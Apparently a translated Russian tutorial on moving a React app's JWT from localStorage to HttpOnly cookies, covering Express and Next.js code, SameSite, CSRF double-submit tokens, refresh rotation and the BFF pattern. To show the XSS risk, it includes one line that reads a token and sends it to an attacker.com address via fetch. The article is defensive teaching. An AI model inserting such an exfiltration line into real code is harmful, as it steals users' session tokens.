Перенос JWT приложения React из localStorage в HttpOnly-куки
Узнайте, почему JWT в localStorage уязвимы к любому типу XSS, как HttpOnly-куки с параметрами SameSite, ротация и BFF снижают риски, и какие проблемы остаются в приложениях на React.
Источники: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
Место хранения токена доступа в приложении React определяет, какую цену может стоить одна ошибка кросс-сайтового скриптинга. JWT, хранящийся в localStorage, может быть прочитан и выведен за пределы страницы любым скриптом на ней; JWT в HttpOnly-куки не может быть прочитан, хотя куки создают другие проблемы, связанные с подделкой запросов между сайтами. Ниже приведено сравнение обоих вариантов, настройка с использованием куки и сервера Express, а также методы ротации токенов, защиты от CSRF и использования Backend-for-Frontend для завершения реализации.
Два варианта хранения, два модели рисков
Браузер не различает собственные скрипты пользователя и внедренные извне, поэтому два обычных места хранения JWT проявляют себя по-разному:
- localStorage доступен для чтения любым JavaScript-кодом на том же домене. Основная угроза — XSS; меры защиты включают строгие правила CSP и обработку данных.
SameSite и токены CSRF.Почему localStorage превращает XSS в захват учетной записи
Любой скрипт, выполняющийся на вашем домене, для кражи токена нуждается в двух шагах:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
Внедряемый код попадает в проекты React через больше каналов, чем ожидают команды:
- Метод
dangerouslySetInnerHTMLс контентом, который находится не под вашим контролем. - Подверженные угрозам пакеты npm, как в случаях с
event-streamиua-parser-js. - Измененные скрипты из внешних CDN.
- Инструменты обработки Markdown, которые пропускают процедуру очистки.
- Расширения браузера, внедряющие код на страницу.
JSX экранирует вставляемые строки, но эта защита исчезает, как только код отключает её, обычно для отображения BIOS-информации или текста с форматированием:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Инструменты очистки помогают, однако существуют способы их обойти. Для справки приведён знакомый клиент localStorage: функции для хранения и чтения токена, а также обёртка, добавляющая заголовок Bearer.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
Это простое решение, и сделать его устойчивым к XSS невозможно, поскольку сама конструкция требует от JavaScript чтения токена.
HttpOnly-куки в качестве стандарта
Сервер устанавливает куку, причём каждый из её атрибутов устраняет определённую проблему:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyскрывает куку от доступа черезdocument.cookieи все скрипты.Secureограничивает использование куки только HTTPS-соединениями.SameSite=Strictне позволяет браузеру отправлять её в запросы, инициированные другими сайтами.
Max-Age=900 определяет срок действия токена доступа в 15 минут.Клиент больше не взаимодействует с токеном
React удаляет вспомогательные функции для хранения и заголовки. Ключевая строка — credentials: 'include', которая заставляет функцию fetch отправлять куки. При коде ошибки 401 обертка обновляет токен и повторяет запрос или перенаправляет на страницу входа.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
В производственной среде необходимо ограничить количество попыток повторного запроса одной, чтобы обновление токена, которое «успешно» происходит, но API по-прежнему возвращает код 401, не могло продолжаться бесконечно, а также совместно использовать одно обновление токена при одновременных сбоях, как описано в решении проблемы единственного обновления токена.
Сторона Express
При входе сервер генерирует токен доступа сроком на 15 минут и токен обновления сроком на 7 дней с отдельными секретами, сохраняет хэш токена обновления и устанавливает оба куки. Кукя обновления использует параметр path: '/auth/refresh', поэтому она передаётся только на этот конечный пункт. Обработчик обновления проверяет JWT, сравнивает его с сохранённым хэшем с помощью bcrypt и выдаёт новую кукю доступа.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Перед повторным использованием: импортируйте bcrypt; обратите внимание, что токен обновления имеет жёстко заданное значение secure: true, в то время как при входе проверяется значение из окружения; кроме того, функция res.clearCookie('refresh_token') также должна указывать параметр path: '/auth/refresh', иначе кукя на самом деле не будет удалена.
CSRF в среде SameSite
CSRF использует тот факт, что куки передаются автоматически. Атрибут SameSite решает большинство проблем в браузере, а браузеры на основе Chromium считают куки без этого атрибута как Lax. Для SPA:
- Выберите
Strict, когда фронтенд и API находятся на одном домене. - Выберите
Lax, когда пользователи попадают по внешним ссылкам и должны авторизоваться при первом переходе. - Избегайте значения
None, если только у вас действительно нет необходимости в куках между сайтами и вы понимаете последствия.
Под «сайтом» имеется в виду зарегистрированный домен, поэтому скомпрометированный поддомен все равно считается частью того же сайта.
Добавление токена двойной проверки
Для дополнительной защиты сервер устанавливает случайное значение в читаемую куку, React копирует его в заголовок X-CSRF-Token, а сервер отклоняет запросы, в которых эти значения не совпадают.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
Страница-форджинг не может считывать ваши куки из-за правила одного источника, поэтому она не может сгенерировать соответствующий заголовок. При использовании параметра SameSite=Strict и строгих правил CORS это часто бывает избыточным, но это недорогая мера защиты от неправильной настройки.
Ротация токенов обновления и выявление повторного использования
Короткие токены доступа в сочетании с более длинными токенами обновления являются стандартной практикой, но украденный токен обновления всё равно позволяет получать доступ в течение нескольких дней. Благодаря ротации при каждом обновлении генерируется новый токен, а старый аннулируется; если устаревший токен снова появляется, это означает, что кто-то пытается им воспользоваться повторно, и безопасной реакцией будет аннулирование всех сессий этой учётной записи.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Сначала исправьте одну ошибку: в блоке if (!user) код вызывает функцию revokeAllUserTokens(user.id) с параметром null. Для реального обнаружения повторного использования необходимо найти владельца уже истекшего токена, обычно с помощью записи «семьи токенов». Могут возникнуть ложноположительные срабатывания, когда два таба обновляются одновременно; короткий период толерантности помогает в этом случае. Руководство по стратегии обновления токенов здесь содержит дополнительную информацию с серверной стороны.
Хранение токенов не на клиенте с помощью BFF
BFF (Backend-for-Frontend) — это простой сервер, расположенный между React и реальным API:
React App → BFF (Next.js API routes / Express) → Actual API
Он использует процессы OAuth (Authorization Code с PKCE), хранит токены в зашифрованных куках типа HttpOnly, обрабатывает проблемы CSRF и устраняет большинство настроек CORS, поскольку браузер обращается только к своему собственному источнику. В Next.js обработчик маршрута может пересылать учетные данные в сервис аутентификации и преобразовывать возвращенный токен в куку:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
Полная версия также будет хранить токен обновления и проверять значение authRes.ok перед парсингом. Решение типа BFF подходит, когда используется сторонний OAuth-сервис, такой как Google или GitHub, API расположен на другом домене, вы хотите избавиться от логики аутентификации в бандле или уже используете Next.js.
Выбор подхода
Для большинства SPA с одним доменом это является базовым решением:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
Для API между доменами или мобильных клиентов использование localStorage допустимо только в том случае, если вы готовы принять риск XSS и компенсировать его:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
Для самых строгих требований или корпоративных протоколов BFF удаляет токены из браузера:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Чек-лист для аутентификации на основе куки
- Отметьте куки аутентификации как
HttpOnly,SecureиSameSite=Strict. - Срок действия токенов доступа должен составлять от 5 до 15 минут.
- Обновляйте токены обновления с функцией обнаружения повторного использования.
- Включайте параметр
credentials: 'include'в каждый запрос черезfetchили axios. - Сочетайте параметр
Access-Control-Allow-Credentials: trueс указанием конкретного источника. - Избегайте включения куки в логи и инструменты аналитики.
- Удаляйте куки с серверной стороны на конце пути
/logout, при необходимости с использованием параметраClear-Site-Data: "cookies". - Всегда используйте политику безопасности контента.
Усиленный ответ может содержать следующие заголовки:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Заключение
Cookies с атрибутом HttpOnly не делают угрозу XSS безвредной: внедренный скрипт всё равно может отправлять авторизованные запросы, пока страница открыта. Однако он не может унести токен с собой и использовать его в другом месте. Именно это отличие, наряду с коротким сроком действия и ротацией токенов, делает cookies подходящим стандартным решением для веб-приложений, при этом всё равно требуется наличие механизма CSP. Проблема CSRF в основном решается с помощью атрибута SameSite и необязательного дополнительного токена для подтверждения запроса, в то время как XSS остается постоянной угрозой в коде на React, содержащем множество зависимостей. Если междоменная аутентификация затрудняет использование cookies, лучше создать небольшой BFF, чем прибегать к использованию localStorage.